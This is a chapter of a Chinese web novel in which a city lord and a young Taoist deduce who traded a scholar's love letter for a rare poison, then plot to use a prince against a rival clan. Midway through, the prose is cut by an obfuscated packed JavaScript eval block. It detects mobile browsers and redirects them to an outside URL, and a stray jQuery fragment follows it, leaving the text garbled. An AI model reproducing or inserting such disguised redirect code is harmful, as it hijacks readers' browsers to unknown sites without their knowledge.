70. 揭秘

作品:《道长与女妖

    夜色笼罩,盛王宫后殿外,宫女们忙着点亮各处宫灯,见世子驾临纷纷下拜。


    寿谦抬手让众人起身,提着衣摆跨入西边暖阁,向王妃郑氏下拜,“母亲。”


    曲南楼泪痕未干,正要起身见礼,郑妃拉她坐回身边,眼里盛满心疼,微微一叹,向寿谦道:


    “轩举,南楼都同我说了,你不妨亲自去一趟南陵世家,把你老师的信带回来,不论信上的内容关乎到什么,南楼在韶阳三年受尽了委屈,也算是给她一个交代。等你回来之后,母亲就为你们筹备婚事。”


    寿谦恭敬道:“是,恩师生前最放心不下南楼,照顾好她是轩举的责任。”


    曲南楼脑海中满是行云的身影,不知道他怎么回到姚华音身边,这三年经历了什么,目光松散,泪水在眼窝里漫开,郑妃以为她为寿雍一直态度不明而忧心,摸着她的脊背安抚,“王爷那边你尽管放心,我亲自去说,他不会反对这门亲事的。”


    曲南楼依偎在郑妃怀里,含泪点头。


    寿谦为人谦和有礼,对她有求必应,她对他有崇敬,有愧疚,唯独没有想对行云那样的心动,更别提有爱,她能感觉到寿谦对她也是如此。


    这门亲事有郑妃的保护和坚持,算是她最好的选择,她愿意与寿谦相守一生,但心里终究是留有遗憾。


    王宫里的传言她听说了不少,她自小丧母,对母亲的记忆模糊不清,不禁为郑妃对父亲曲正风的爱而不得而感同身受。


    姚华音一觉睡到天色大亮,和行云一起用过早膳后正要带他去向寿谦辞行,刚出了殿门便见寿谦乘着步辇而来。


    “姚城主,轩举奉父王之命坐镇祥隆,剿灭南陵世家的事,恕轩举无能为力。过两日我会亲自去一趟,说服金家主不与南陵王为伍,方便城主日后出兵,还要代南楼谢过姚城主告知恩师信的事。”


    寿谦脸色歉疚,端端正正地拱手。


    姚华音笑容微僵,在心里嘲讽他异想天开。


    乱世之中,哪路诸侯不是靠真刀真枪拼个你死我活,想凭几句话就说服金无珠放弃与成然勾连,这样的人,有寿诘这个乖张狠毒的弟弟,若不是仗着世家大族的支持,又是长子,得了寿雍的偏爱,怕是世子之位都难坐稳。


    “兄长肯出面帮忙,华音拜谢,母亲那边还请兄长代为问候,小妹就不去叨扰了。”


    马车驶出盛都祥隆外,晌午临近,阳光直直射入车内,昨日别在窗沿上的几只狗尾草兔子失了神采,耳朵垂着晃来晃去。


    行云摘下一只握在手中,心里想着姚华音向曲南楼提到的密信,听她在身边道:“那封信你见都没见过,就敢帮我扯谎,不怕将来惹祸上身?”


    昨日在内殿里,姚华音透过窗子的缝隙看见曲南楼跑出去向他求证,她目光审视,含着几分难以掩藏的欣喜。


    行云读懂姚华音是在故意试探他,心里略有些酸楚,低头碾着草梗道:“姐姐这样说自有道理。”


    他猜到姚华音是想利用寿谦对付南陵世家,有没有这封信并不重要,不过看寿谦的态度,怕是难以借他达到目的,她应该还有下一步的计划。


    姚华音抽出行云手中的狗尾草兔子,从袖中取来曲正风的书卷给他,“你看看这个。”


    行云接过,认出是收在南陵世家壁柜里最顶端,最精致的字画盒子里那一卷,看一眼姚华音,疑惑地打开,眉心微微蹙起。


    上面看似是一封信,没有称谓,只写着简短的一句话:“吾心崇君,祁得君至珍之赐。”


    落款处写着三个字,曲正风。


    行云甚为不解,一个闻名天下的大学者,怎么可能写信向南陵世家的家主讨要珍贵之物。


    “姐姐可曾见过曲正风的笔迹?这不像是他写给南陵世家老家主的信。”


    姚华音哼笑,“我见过曲南楼的家信,这正是曲正风的笔迹,不是写给老家主的,是寿雍移花接木,用它跟老家主换了见血封喉。”


    “见血封喉?”行云神色一震。


    “信上说崇敬他,祈求他最珍贵的东西,见血封喉世间罕有,对老家主来说的确算是他最珍贵的,但对曲正风却一文不值,再说这封信又怎么会落在寿雍手上?”


    姚华音道:“老家主性情孤僻,眼高于顶,平生最爱书画,金无珠也曾说过,世间没几个人能入得了他父亲的眼,其中曲正风当属第一。既然他亲笔写信讨要,老家主自当奉上,哪会管他用不用的上。”


    按常理说,送给倾慕之人的礼物,再怎么也不会是致人死地的毒药,但老家主性子古怪,做出这样匪夷所思的事来也说的通。行云眉间凝着,微微点头,再看左下角盖着老家主的印章,旁边写着甲辰年十月。


    姚华音从他手里收回书信塞进衣袖里,接着道:“寿谦说曲南楼被送来韶阳之前,曲正风曾去往盛王宫与寿雍大吵了一架,之后寿雍便强迫曲南楼留在韶阳,为了什么,你该猜的到吧?”


    行云抬眼看过来,寿雍的目的无疑是用曲南楼要挟曲正风,不让他说出见血封喉的事,至于曲正风如何知道见血封喉,或许是金老家主给他回信说明了此事吧。


    行云的目光仍有些蒙昧不清,姚华音知道他对寿雍如何得到这封信尚有疑问,补充道:“听说郑妃待嫁前与曲正风情投意合,本来已经定下亲事,后来却阴错阳差,嫁给了寿雍,你想想看,这封信是不是也有求娶之意?”


    行云回忆书卷上岁月留下的黄色印记。


    孙昭获取见血封喉,害死姚敏璋不过十一年,从信纸泛黄的程度来看,至少有二十年之久,老家主当做宝贝一样收藏在书房里最精致的木盒中,不可能是保存不当留下的,必然是曲正风在二十多年前便写下,后来才被送给南陵世家老家主。


    甲辰年十月,刚好是十一年前入冬。


    行云豁然开朗,“看来这封信原本该是当年曲正风写给盛王妃的,寿雍嫉妒,所以夺了去,跟老家主换取了见血封喉。”


    当年蒙蔽孙昭,借他之手害了父亲俞平阔和姚敏璋的幕后真凶昭然若揭,行云心里的恨意虽然汹涌,但总算对姚华音有所交代,语气反倒轻松了不少。


    一卷封存了多年的情信揣在怀里,暧昧的气息仿佛萦绕在周围,姚华音盯着行云看了半晌,甩弄着狗尾草


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097723|153002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    兔子从他下颌边扫过,“你呢?如果你的夫人还收藏着旧情人当年写给她的信,你会嫉妒,会冷待她吗?”


    行云缩着脖子向一旁躲闪,低着头小声道:“子钦一生只钟情一人,不管她怎样对我,我都不会冷待她的。”


    姚华音心里莫名一酸,靠回椅背,指尖拨弄着下垂的兔子耳朵。


    马车贴着山边行进,温风送来清新的泥土气息,鸟鸣声不绝于耳。


    良久,行云转头过来:“若是寿谦去往南陵世家,没能阻止金无珠与成然勾结,姐姐打算如何?”


    “我没打算让他回来。”姚华音看向他,漠然道。


    当年南陵军一路向北攻到韶阳城下,杀了无数韶阳百姓,这笔账固然要算,但寿雍害韶阳更甚,与其让将士们上阵去拼,不如借用他的人对付成然和南陵世家。


    行云毫不惊讶于她的决定,附和道:“寿谦的确是最容易利用的一个,以他的身份被困在南陵世家,盛国必定会亲自出手。”


    姚华音难得从他眼里看出一丝冰冷的恨意,内心随之泛起寒凉,不禁联想到三年前他知道真相前对她怨恨的眼神,收回目光,让自己尽快平复心绪。


    自古慈不掌兵,他出身将门,自幼跟着俞平阔征战沙场,见惯了殊死拼杀,对敌人绝不会手软,这样的他才更能帮她成就大事。


    手里的狗尾草兔子拆散了便怎么也编不回去,姚华音没了耐性,正要扔去一边,行云手臂从她身后绕过,掌心包住她的手指捏紧兔子头,捡起掉落的草杆,一圈圈缠出腿来,再系好固定。


    姚华音稍微活动下被他捏紧的手指,道:“南陵世家紧挨着成化虏的地盘,到时候还得请你的主人帮个忙。”


    “姐姐知道,他不是我的主人。”行云停下手中的动作,轻声反驳,神情极为认真。


    姚华音微笑,“随你。”


    临近平山城,姚华音敲击车壁,一阵勒马声后,马车稳稳停下。


    “你跟了我一个多月,该回去向成化虏复命了。”


    行云眼底流露出一丝不舍,“姐姐要回韶阳去吗?”


    姚华音看着窗外道:“我会暂住在金吾,离南陵更近,方便联络。”


    外面青山葱郁,树影斑驳,泥土的醇厚之气清新怡人,更显得车内的狗尾草兔子蔫头呆脑。姚华音倾身将窗沿上的全部摘下,扔出车外时停顿了一瞬。


    行云看出她有些舍不得,挑唇笑笑,“姐姐你等我一下。”


    淡蓝色的道袍在车窗前一扫而过,很快没入山林间,一会儿工夫,一束狗尾草探入视线,车身微晃,行云坐回椅子上,手指不停忙活,很快编好数只嫩绿的,毛茸茸的小兔子,充满生机,活灵活现。


    行云把小兔子重新插在车窗上,剩下的几根狗尾草递入姚华音手中,留给她自己把玩,“姐姐保重,过几日子钦就去金吾找你。”


    鞭声又起,马车继续前行,暖风吹拂着窗边的兔子摇晃不止,姚华音低头摆弄狗尾草,按行云教的编成兔子的形状。此时的山脚下,行云还站在原地朝车尾看着,直到马车转过弯,被树林遮挡的再也看不见。